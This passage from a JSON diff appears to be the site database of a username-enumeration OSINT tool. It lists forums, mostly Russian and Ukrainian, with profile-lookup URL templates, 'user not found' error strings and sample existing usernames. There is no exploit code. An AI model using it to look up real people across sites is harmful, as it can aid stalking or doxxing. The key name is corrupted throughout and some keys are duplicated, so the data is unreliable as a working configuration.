"exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newrider": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://newrider.com/members/?username={}", + "urlMain": "https://newrider.com", + "usernameON": "trewsers", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + 